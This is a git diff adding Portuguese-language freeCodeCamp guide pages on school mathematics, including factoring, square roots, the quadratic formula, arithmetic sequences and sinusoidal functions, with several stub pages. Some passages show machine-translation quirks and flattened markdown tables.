+Quando | a | <1 a parábola é comprimida verticalmente.
+
+![Versão mais ampla de uma parábola (gráfico em forma de u)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img5.png?raw=true)
+
+Quando | a | > 1 a parábola se torna mais estreita.
+
+![Versão mais estreita de uma parábola (gráfico em forma de u)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img6.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/index.md b/client/src/guide/portuguese/mathematics/algebra/index.md
new file mode 100644
index 0000000000..3290f38ae5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/index.md
@@ -0,0 +1,17 @@
+---
+title: Algebra
+localeTitle: Álgebra
+---
+## Álgebra
+
+Álgebra é uma ampla seção de matemática focada na manipulação de constantes e variáveis ​​em equações, em que letras representando números são combinadas de acordo com as regras da aritmética. Os principais ramos da álgebra estão listados abaixo. Álgebra elementar: uma introdução a essas idéias. Abrange a solução de equações polinomiais em uma ou mais variáveis ​​e propriedades básicas de funções e gráficos. Álgebra abstrata: o estudo das estruturas algébricas em si. Álgebra Linear: o estudo de espaços vetoriais e mapeamentos lineares.
+
+#### Mais Informações:
+
+[Artigo da Wikipédia](https://en.wikipedia.org/wiki/Algebra)  
+[Aprenda álgebra na Khan Academy](https://www.khanacademy.org/math/algebra-home)
+
+#### Recursos:
+
+[Definição](https://www.merriam-webster.com/dictionary/algebra)  
+[Wolfram Mathworld](http://mathworld.wolfram.com/Algebra.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md b/client/src/guide/portuguese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..90bb35b351
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
@@ -0,0 +1,21 @@
+---
+title: Intro to Rationalizing the Denominator
+localeTitle: Introdução à racionalização do denominador
+---
+## Introdução à racionalização do denominador
+
+Se você não puder expressar o denominador de uma fração na forma de a / b, onde aeb são inteiros, então o denominador é irracional. Para simplificar a fração, devemos racionalizar o denominador. Racionalizar o denominador pode ajudá-lo a resolver certas equações. Existem algumas maneiras de fazer isso.
+
+### Multiplicando por uma raiz
+
+Podemos multiplicar a parte superior e inferior por uma raiz. Observe que estamos multiplicando a fração pela raiz 2 dividida por si mesma, que é apenas uma outra maneira ou escrita 1.
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img1.png?raw=true)
+
+### Multiplicando por um conjugado
+
+Nós também podemos multiplicar a parte superior e inferior pelo conjugado.
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img2.png?raw=true)
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/piecewise-functions-graphs/index.md b/client/src/guide/portuguese/mathematics/algebra/piecewise-functions-graphs/index.md
new file mode 100644
index 0000000000..bf9e3174e2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/piecewise-functions-graphs/index.md
@@ -0,0 +1,21 @@
+---
+title: Piecewise Functions Graphs
+localeTitle: Gráficos de funções por partes
+---
+## Gráficos de funções por partes
+
+As funções de Piecewise são definidas diferentemente para diferentes intervalos de `x` . Para encontrar `y` , você usa `x` para procurar em qual intervalo está. Vamos dar uma olhada em uma função simples por partes e seu gráfico.
+
+![Exemplo de gráfico de função por partes 1](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img1.png?raw=true)
+
+Você pode ver que quando `x` é menor que ou igual a 1, `y` é igual a 3 e quando `x` é maior que 1, `y` é igual a x. É quase como funções por partes são criadas pela combinação de diferentes funções em uma.
+
+![Exemplo de gráfico de função por partes 2](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img2.png?raw=true)
+
+No gráfico acima, você pode ver que `x` ao quadrado pode ser uma função autônoma que seria definida para todos os números reais. Em vez disso, definimos nossa função de partes `x` de modo que apenas valores de `x` maiores que -5 e menores que 5 sejam inseridos em `x` ao quadrado. Observe que esse gráfico parece ter duas "linhas de limite" em `x = -5` `x = 5` e o primeiro gráfico tem uma "linha limite" em `x = 1` .
+
+### Funções Contínuas / Não Contínuas por Partes
+
+Como você pode saber se uma função específica é contínua? Vamos dar uma olhada em alguns exemplos.
+
+![Exemplos de gráficos de funções contínuas / não contínuas por partes](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/polynomial-factorization/index.md b/client/src/guide/portuguese/mathematics/algebra/polynomial-factorization/index.md
new file mode 100644
index 0000000000..cd8cdaaba1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/polynomial-factorization/index.md
@@ -0,0 +1,35 @@
+---
+title: Polynomial Factorization
+localeTitle: Fatoração Polinomial
+---
+## Fatoração Polinomial
+
+Polinômios de fatoração é muito parecido com números regulares de fatoração. O objetivo é encontrar números ou polinômios que se dividam uniformemente do polinômio. Em contraste com o factoring, você pode simplificar uma expressão assim:
+
+![7 (x + 4) = 7x + 28](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img1.png?raw=true)
+
+Você pode pensar em factoring como fazendo o oposto, como neste exemplo em que primeiro encontramos o maior fator comum (GCF) dos termos (9) e depois reescrevemos o polinômio:
+
+![9x ^ 2 + 72 = 9 (x ^ 2 + 8)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img2.png?raw=true)
+
+Vamos fazer mais alguns exemplos.
+
+![2x - 10](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img3.png?raw=true)
+
+Você pode fatorar o primeiro termo em (2) (x) e o segundo em (-5) (2). O único fator comum é 2. Mova o fator comum para o início do nosso polinômio reescrito.
+
+![2x - 10 = 2 (](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img4.png?raw=true)
+
+Quando você divide 2 de 2x você fica com x
+
+![2x - 10 = 2 (x](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img5.png?raw=true)
+
+Quando você divide 2 de 10, você fica com -5.
+
+![2x - 10 = 2 (x - 5)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img6.png?raw=true)
+
+### Erros comuns
+
+![x ^ 6y ^ 5 + xy = xy (x ^ 5y ^ 4 + 1)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img7.png?raw=true)
+
+Quando factoring, muitas vezes você vai acabar com uma divisão que resulta em 1. Certifique-se de incluí-lo em os parênteses.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md b/client/src/guide/portuguese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
new file mode 100644
index 0000000000..5e2e083c88
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
@@ -0,0 +1,49 @@
+---
+title: Recursive Formulas for Arithmetic Sequences
+localeTitle: Fórmulas Recursivas para Seqüências Aritméticas
+---
+## Fórmulas Recursivas para Seqüências Aritméticas
+
+### O que é uma sequência aritmética?
+
+Uma **sequência** é uma lista de números em que as mesmas operações são feitas para um número para obter o próximo. **Seqüências aritméticas** referem-se especificamente a sequências construídas adicionando ou subtraindo um valor chamado a **diferença comum** - para obter o próximo termo. Dentro Para falar eficientemente sobre uma sequência, usamos uma fórmula que cria a sequência quando uma lista de índices é inserida. Geralmente, essas fórmulas recebem nomes de uma letra, seguidas por um parêntese entre parênteses e a expressão que cria a sequência. no lado direito.
+
+`a(n) = n + 1`
+
+Acima está um exemplo de uma fórmula para uma sequência aritmética.
+
+### Exemplos
+
+Sequência | Fórmula --------- | --------- 1, 2, 3, 4,… | a (n) = n + 1 3, 8, 13, 18,… | b (n) = 5n - 2
+
+### Uma fórmula recursiva
+
+Nota: Os matemáticos começam contando a 1, portanto, por convenção, `n=1` é o primeiro termo. Portanto, devemos definir o que é o primeiro termo. Então nós temos para descobrir e incluir a diferença comum. Olhando novamente os exemplos,
+
+Sequência | Formula | Fórmula Recursiva --------- | --------- | ------------------- 1, 2, 3, 4,… | a (n) = n + 1 | a (n) = a (n-1) + 1, a (1) = 1 3, 8, 13, 18,… | b (n) = 5n - 2 | b (n) = b (n-1) + 5, b (1) = 3
+
+### Encontrar a Fórmula (dada uma sequência com o primeiro termo)
+```
+1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+```
+
+### Encontrando a Fórmula (dada uma sequência sem o primeiro termo)
+```
+1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Find the first term 
+    i. Pick a term in the sequence, call it `k` and call its index `h` 
+    ii. first term = k - (h-1)*(common difference) 
+ 3. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+```
+
+#### Mais Informações:
+
+Para mais informações sobre este tópico, visite
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Arithmetic_progression)
+*   [Khan Academy](https://www.khanacademy.org/math/algebra/sequences/constructing-arithmetic-sequences/a/writing-recursive-formulas-for-arithmetic-sequences)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/simplify-square-roots/index.md b/client/src/guide/portuguese/mathematics/algebra/simplify-square-roots/index.md
new file mode 100644
index 0000000000..f9b939392f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/simplify-square-roots/index.md
@@ -0,0 +1,24 @@
+
+---
+title: Simplify Square Roots
+localeTitle: undefined
+---
+## Simplifique Raízes Quadradas
+
+Para simplificar as raízes quadradas, é importante conhecer a propriedade radical do produto.
+
+![Imagem mostrando a propriedade radical do produto. A raiz quadrada de A multiplicada pela raiz quadrada de B é equivalente à raiz quadrada de A multiplicada por B.](https://raw.githubusercontent.com/hayleycd/images/master/multiplying_radicals.jpeg)
+
+A Propriedade do Produto Radical nos mostra que a raiz quadrada de dois números multiplicados juntos é equivalente à raiz quadrada do primeiro número multiplicada pela raiz quadrada do segundo.
+
+A segunda coisa importante a saber é o conceito de Perfect Squares. Quando um número inteiro é multiplicado por si só, um Perfect Square é o resultado.
+
+![Imagem mostrando quadrados perfeitos. Exemplos de Praças Perfeitas Incluem 1, 4, 9, 25, 36 e mais.](https://raw.githubusercontent.com/hayleycd/images/master/perfect_squares.jpeg)
+
+Uma raiz quadrada pode ser simplificada se o número que você está tentando tirar da raiz quadrada tiver um fator que seja um quadrado perfeito. Em caso afirmativo, a propriedade do produto radical pode ser usada para simplificar. Exemplos abaixo simplificam a raiz quadrada de 48 e simplificam a raiz quadrada de 75.
+
+![Imagem mostrando a raiz quadrada de 48 sendo simplificada para 4 multiplicada pela raiz quadrada de 3 e a raiz quadrada de 75 sendo simplificada para 5 multiplicada pela raiz quadrada de 3.](https://raw.githubusercontent.com/hayleycd/images/master/radical_examples.jpeg)
+
+#### Mais Informações:
+
+*   [Artigo da Khan Academy sobre simplificação de raízes quadradas](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/simplifying-square-roots/index.md b/client/src/guide/portuguese/mathematics/algebra/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..93644e84bc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/simplifying-square-roots/index.md
@@ -0,0 +1,31 @@
+---
+title: Simplifying Square Roots
+localeTitle: Simplificando Raízes Quadradas
+---
+### Exemplo: Simplifique ![](https://latex.codecogs.com/gif.latex?\sqrt{180} "\ sqrt {180}")
+
+Etapas da solução:
+
+*   Quebre 180 em produto de fatores de número primos: ![](https://latex.codecogs.com/gif.latex?180&space;=&space;2^2&space;*&space;3^2&space;*&space;5 "180 = 2 ^ 2 * 3 ^ 2 * 5")
+*   Use propriedade do produto de radicais ![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{180}&space;=&space;\sqrt{2^2}\sqrt{3^2}\sqrt{5}=2*3\sqrt{5}=6\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {180} = \ sqrt {2 ^ 2} \ sqrt {3 ^ 2} \ sqrt {5} = 2 * 3 \ sqrt { 5} = 6 \ sqrt {5}")  
+    Não podemos simplificar a raiz quadrada de um número primo, portanto, a resposta final: ![](https://latex.codecogs.com/gif.latex?\sqrt{180}&space;=&space;6\sqrt{5} "\ sqrt {180} = 6 \ sqrt {5}")
+
+### Exemplo: Simplifique ![](https://latex.codecogs.com/gif.latex?\sqrt{1750} "\ sqrt {1750}")
+
+Etapas da solução:
+
+*   Quebre 1750 em produto de fatores de número primos: ![](https://latex.codecogs.com/gif.latex?1750&space;=&space;2*7*5^3 "1750 = 2 * 7 * 5 ^ 3")
+*   Use propriedade de produto de radicais e continue quebrando os resultados: ![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{1750}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5^3}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5}\sqrt{5^2}&space;=&space;5\sqrt{2}\sqrt{7}\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {1750} = \ sqrt {2} \ sqrt {7} \ sqrt {5 ^ 3} = \ sqrt {2} \ sqrt { 7} \ sqrt {5} \ sqrt {5 ^ 2} = 5 \ sqrt {2} \ sqrt {7} \ sqrt {5}")  
+    Agora use novamente a propriedade do produto para combinar radicais que não podem ser simplificados: ![](https://latex.codecogs.com/gif.latex?5\sqrt{2}\sqrt{7}\sqrt{5}&space;=&space;5\sqrt{70} "5 \ sqrt {2} \ sqrt {7} \ sqrt {5} = 5 \ sqrt {70}")
+
+### Terminologia:
+
+Usando √49 como um exemplo:
+
+*   "√" é chamado **símbolo radical** .
+*   49 é chamado **radicand** .
+
+#### Mais Informações:
+
+*   [Wikihow, simplificando uma raiz quadrada](https://www.wikihow.com/Simplify-a-Square-Root)
+*   [Khan Academy](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/the-quadratic-formula/index.md b/client/src/guide/portuguese/mathematics/algebra/the-quadratic-formula/index.md
new file mode 100644
index 0000000000..d4dcab04eb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/the-quadratic-formula/index.md
@@ -0,0 +1,106 @@
+---
+title: The Quadratic Formula
+localeTitle: A fórmula quadrática
+---
+## A fórmula quadrática
+
+Esta é uma fórmula simples que podemos obter resolvendo a representação básica de uma equação quadrática para x:
+```
+      ax^2 + bx + c = 0 
+```
+
+onde a, b, c são os marcadores de coeficiente (ou as constantes em uma equação real) e x é a variável para a qual o valor precisa ser encontrado.
+
+Resolvendo para x, obtemos a fórmula quadrática como:
+```
+    x = (-b +- sqroot(b^2 - 4ac)) / (2a) 
+```
+
+Isto é representado de uma maneira mais **clara** aqui: ![Aqui](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c)
+
+### Implicações da fórmula em encontrar soluções:
+
+Apenas de relance, podemos concluir algumas instruções para qualquer equação quadrática em Domínio de Número Real e Intervalo:
+
+Considere a expressão sob a raiz quadrada "b ^ 2 - 4ac" como E
+
+1.  Se E for positivo, então teremos 2 soluções para x (propriedade de quadrados)
+2.  Se E é zero, então existe uma e apenas uma solução para x
+3.  Se E é negativo, então não existe **uma** solução **real** para x
+
+A fórmula quadrática é uma ferramenta para resolver equações quadráticas. Uma equação quadrática é uma equação polinomial de grau dois. Um polinômio de grau dois é apenas um polinômio em que o maior expoente de _x_ é 2. A seguir, são apresentados exemplos de equações quadráticas.
+
+*   ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "exemplo equação quadrática")
+*   ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "exemplo equação quadrática")
+
+A fórmula aplica-se apenas às equações que têm a forma acima, onde um polinômio é igual a zero. Em geral, a fórmula se aplica a equações que têm o formato:
+
+![ax^2+bx+c=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_equation.png "equação quadrática geral")
+
+Onde _a_ , _b_ e _c_ são coeficientes do polinômio. Neste caso, a equação terá solução (ões):
+
+![quadratic formula](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_formula.png "Fórmula quadrática")
+
+#### Exemplo:
+
+Suponha que você deseja encontrar as soluções para: ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "exemplo equação quadrática") então, conectando _a = 1, b = -5, c = 6_ na fórmula quadrática, obtemos:
+
+*   _x = 2_ ,
+*   _x = 3_
+
+#### Exemplo:
+
+A solução para: ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "exemplo equação quadrática") é obtido colocando _a = 1, b = 1, c = -1_ na fórmula quadrática. Isso dá duas soluções ou raízes irracionais:
+
+*   _x = (- 1 + √5) / 2_ ,
+*   _x = (- 1-√5) / 2_ .
+
+A fórmula quadrática pode ser usada para encontrar a solução de qualquer equação quadrática, e usar o determinante pode determinar quantas soluções estão presentes. Outros métodos, como fatorar, representar graficamente ou completar o quadrado, encontram a (s) solução (ões) de uma equação quadrática, mas a fórmula Quadrática é muito útil nos casos em que você não pode fatorar ou representar graficamente.
+
+Ao escrever a equação quadrática como:
+
+![ax ^ 2 + bx + c = 0](https://wikimedia.org/api/rest_v1/media/math/render/svg/70a0e43dfc81e6fea3be4fc96895a8f9ec2966ac/)
+
+(x é a variável enquanto a, b e c são constantes)
+
+A fórmula quadrática é:
+
+![x = -b +/- sqrt (b ^ 2 - 4ac) em todo o 2a](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c/)
+
+### Discriminante
+
+O discriminante é tudo sob o radical na fórmula quadrática. ![b ^ 2 - 4ac](http://www.katesmathlessons.com/uploads/1/6/1/0/1610286/what-is-the-discriminant_orig.png/)
+
+Se o discriminante = 0, então o quadrático só tem uma solução. Graficamente, isso representa o vértice sendo colocado no eixo x.
+
+Se o discriminante é positivo (> 0), então o quadrático tem duas soluções ou raízes reais. Isto representa a quadrática que intersecta o eixo x em dois lugares.
+
+Se o discriminante é negativo (<0), o quadrático não tem soluções reais (duas soluções imaginárias). Isso é porque você não pode tirar a raiz quadrada de um negativo. Grapically, isso representa a função não passando pelo eixo x.
+
+### Memorização
+
+Mais frequentemente do que não, você será obrigado a memorizar a fórmula quadrática. Aqui estão alguns dispositivos mnemônicos úteis:
+
+Existem várias [músicas](https://www.youtube.com/watch?v=2lbABbfU6Zc/) que ajudam.
+
+Além disso, criar uma história para lembrar a fórmula quadrática ajuda. Por exemplo: O garoto negativo estava inseguro (mais ou menos) para ir à festa radical, mas porque ele era muito quadrado, ele perdeu quatro garotas incríveis. A festa foi toda em 2Am.
+
+### Erros comuns:
+
+Muita gente esquece a Ordem de Operações e subtrai 4 antes de multiplicá-la para a e c.
+
+Além disso, o 2a está embaixo da coisa toda, não apenas da raiz quadrada.
+
+Certifique-se de ter cuidado para não deixar cair a raiz quadrada ou o "mais / menos" no meio de seus cálculos.
+
+Lembre-se que "b ^ 2" significa "o quadrado de TODOS os b, incluindo o seu sinal", portanto não deixe b ^ 2 ser negativo.
+
+#### Mais Informações:
+
+[A fórmula quadrática explicada](http://www.purplemath.com/modules/quadform.htm "A fórmula quadrática explicada")
+
+[Wikipedia - Fórmula quadrática](https://en.wikipedia.org/wiki/Quadratic_formula/)
+
+[Matemática Roxa](http://www.purplemath.com/modules/quadform.htm/)
+
+[Khan Academy](https://www.khanacademy.org/math/algebra/quadratics/solving-quadratics-using-the-quadratic-formula/a/quadratic-formula-explained-article/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/two-step-inequalities/index.md b/client/src/guide/portuguese/mathematics/algebra/two-step-inequalities/index.md
new file mode 100644
index 0000000000..f5637a7fd3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/two-step-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Two Step Inequalities
+localeTitle: Desigualdades em Dois Passos
+---
+## Desigualdades em Dois Passos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/two-step-inequalities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/portuguese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..d6b8bf7a8e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertex and Axis of Symmetry of a Parabola
+localeTitle: Vértice e Eixo de Simetria de uma Parábola
+---
+## Vértice e Eixo de Simetria de uma Parábola
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/worked-example-two-step-equations/index.md b/client/src/guide/portuguese/mathematics/algebra/worked-example-two-step-equations/index.md
new file mode 100644
index 0000000000..807b3faefc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/worked-example-two-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Two Step Equations
+localeTitle: Exemplo de Trabalho Equações em Dois Passos
+---
+## Exemplo de Trabalho Equações em Dois Passos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/worked-example-two-step-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/all-factors-of-a-number/index.md b/client/src/guide/portuguese/mathematics/all-factors-of-a-number/index.md
new file mode 100644
index 0000000000..e968af33d5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/all-factors-of-a-number/index.md
@@ -0,0 +1,67 @@
+---
+title: All Factors of a Number
+localeTitle: Todos os fatores de um número
+---
+## Todos os fatores de um número
+
+Você pode pensar em fatores como os números que você multiplica para obter outro número.
+
+![](https://upload.wikimedia.org/wikipedia/commons/e/e8/Factor_Tree_of_42.png)
+
+Neste caso 2, 3, 6 e 7 são todos os números que você pode multiplicar para obter 42. Então, eles são todos fatores de 42. No entanto, eles não são todos os fatores de 42. Para encontrar todos os fatores que podemos usar o algoritmo ou passo a passo pelo processo abaixo.
+
+Comece com 1.
+
+1 \* 42 = 42
+
+1 | … | 42 --- | --- | ---
+
+Tente 2.
+
+2 \* 21 = 42
+
+1 | 2 | … | 21 | 42 --- | --- | --- | --- | ---
+
+Tente 3.
+
+3 \* 14 = 42
+
+1 | 2 | 3 | … | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | ---
+
+Tente 4.
+
+Nenhum número inteiro pode ser multiplicado por 4 para obter 42, então pulamos.
+
+Tente 5.
+
+Nenhum número inteiro pode ser multiplicado por 5 para obter 42, então pulamos.
+
+Tente 6.
+
+6 \* 7 = 42
+
+1 | 2 | 3 | 6 | … | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+Como não há números inteiros entre 6 e 7, todos os fatores positivos foram encontrados. Todos os números acima podem ter seu sinal invertido e continuarão sendo fatores de 42. Em conclusão, todos os fatores de 42 estão abaixo.
+
+1 | 2 | 3 | 6 | 7 | 14 | 21 | 42 | -1 | -2 | -3 | -6 | -7 | -14 | -21 | -42 --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+## Confirme o número de fatores está correto
+
+Podemos confirmar rapidamente que identificamos todos os fatores positivos com as seguintes etapas:
+
+1.  Pegue a fatoração primária (fornecida pela árvore acima)
+
+2 1 \* 3 1 \* 7 \* 1
+
+2.  Adicione um a cada um dos expoentes:
+
+Expoente de 2: 1 + 1 = 2 Expoente de 3: 1 + 1 = 2 Expoente de 7: 1 + 1 = 2
+
+3.  Múltiplo cada um dos números acima:
+
+2 \* 2 \* 2 = 8
+
+4.  Confirme que 42 tem 8 fatores:
+
+1 | 2 | 3 | 6 | … | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md b/client/src/guide/portuguese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
new file mode 100644
index 0000000000..1a9d1f93bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
@@ -0,0 +1,30 @@
+---
+title: Amplitude and Period of Sinusoidal Functions from Equation
+localeTitle: Amplitude e Período de Funções Sinusoidais da Equação
+---
+## Amplitude e Período de Funções Sinusoidais da Equação
+
+A **equação genérica** para uma função sinusoidal é:
+
+![Equação sinusóide genérica](https://github.com/viso-gio/HostedImages/blob/master/GenericSinusoid.png?raw=true)
+
+Onde _A_ representa a **amplitude** da oscilação e _f_ a **freqüência** . _Phi_ é a **fase** , ligada à quantidade pela qual a sinusóide é deslocada ao longo do eixo _x_ . _Ômega_ é a **frequência angular** e representa a taxa de oscilação como radianos por segundo.
+
+O **período** da oscilação, _T_ , é dado por:
+
+![Período](https://github.com/viso-gio/HostedImages/blob/master/PeriodFormula.png?raw=true)
+
+Uma **forma alternativa** comumente encontrada da sinusóide é:
+
+![Equação Sinusoidal Alternativa](https://github.com/viso-gio/HostedImages/blob/master/AlternativeSinusoid.png?raw=true)
+
+Neste caso, a **amplitude** é calculada como:
+
+![Amplitude Alternativa](https://github.com/viso-gio/HostedImages/blob/master/AlternativeAmplitude.png?raw=true)
+
+#### Mais Informações:
+
+Para mais informações visite:
+
+*   [MathIsFun](https://www.mathsisfun.com/algebra/amplitude-period-frequency-phase-shift.html)
+*   [Wikipedia: Onda Senoidal](https://en.wikipedia.org/wiki/Sine_wave)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/amplitude-period-phase-shift-and-frequency/index.md b/client/src/guide/portuguese/mathematics/amplitude-period-phase-shift-and-frequency/index.md
new file mode 100644
index 0000000000..32ccf921eb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/amplitude-period-phase-shift-and-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Amplitude Period Phase Shift and Frequency
+localeTitle: Mudança de fase do período de amplitude e frequência
+---
+## Mudança de fase do período de amplitude e frequência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/amplitude-period-phase-shift-and-frequency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/analytic-geometry-distance-formula/index.md b/client/src/guide/portuguese/mathematics/analytic-geometry-distance-formula/index.md
new file mode 100644
index 0000000000..590b424dc8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/analytic-geometry-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Distance Formula
+localeTitle: Fórmula de Distância de Geometria Analítica
+---
+## Fórmula de Distância de Geometria Analítica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-distance-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/analytic-geometry-midpoint-formula/index.md b/client/src/guide/portuguese/mathematics/analytic-geometry-midpoint-formula/index.md
new file mode 100644
index 0000000000..2bc8b429ff
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/analytic-geometry-midpoint-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Midpoint Formula
+localeTitle: Fórmula analítica de geometria intermediária
+---
+## Fórmula analítica de geometria intermediária
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-midpoint-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
